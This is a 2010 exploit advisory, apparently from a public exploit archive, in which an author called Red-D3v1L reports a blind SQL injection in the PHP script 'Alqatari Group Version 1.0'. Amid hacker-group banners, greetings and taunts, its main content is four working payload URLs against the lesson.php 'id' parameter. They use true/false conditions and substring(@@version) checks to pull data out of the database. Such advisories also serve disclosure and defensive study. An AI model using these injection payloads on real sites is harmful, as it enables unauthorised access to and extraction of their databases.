[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Alqatari Group Version 1.0 Blind SQL Injection Vulnerability
# Published : 2010-02-12
# Author : Red-D3v1L
# Previous Title : Izumi <= 1.1.0 (RFI/LFI) Multiple Include Vulnerability
# Next Title : CMS Made Simple 1.6.6 Multiple Vulnerabilities
+===================================================================================+
./SEC-R1Z _ __ _ _ _ _ ___ _ _ _ _ __ _ _ _ _ _
/ /_ _ _ _ / _ _/ _ _ / < |/_ _ _ _ /
_ _ _ _/ /___ / / __ | |) / | | / /
_ _ _ _/ /___ / / | __ || / | | / /
_______ _ _ 2_0_1_0 | | | / /____
/_ _ _ _ _ _ _ _/ _ _ _ / |__| __ |__|/_ _ _ _ _ R.I.P MichaelJackson !!!!!
+===================================================================================+
[?] ~ Note : sEc-r1z CrEw# r0x !
==============================================================================
[?] Alqatari group Version 1.0 Blind SQL Injection Vulnerability
==============================================================================
[?] My home: [ http://sec-r1z.com ]
[?] For Ask: [r-d@passport.com]
[?] Script: [ Alqatari group Version 1.0 ]
[?] Language: [ PHP ]
[?] Founder: [ Red-D3v1L ]
[?] Gr44tz to: [ sec-r1z# Crew - Hackteach Team - My L0ve ~A~ ]
[?] n00bz : [Zombie_KSA g0t 0wn3d hehehe n00b pakbugs zf0 ..]
########################################################################
===[ Exploit SQL Blind ]===
[?]Exploit :
http://server/lesson.php?id=246%20and%201=1 << this true
http://server/lesson.php?id=246%20and%201=2 << this faulse
http://server/lesson.php?id=246%20and%20substring%28@@version,1,1%29=5 << this true
http://server/lesson.php?id=246%20and%20substring%28@@version,1,1%29=4 << this faulse
./Greetz For All my Frindes
==============================================================================
#sEc-r1z.com Str1kEz y0u !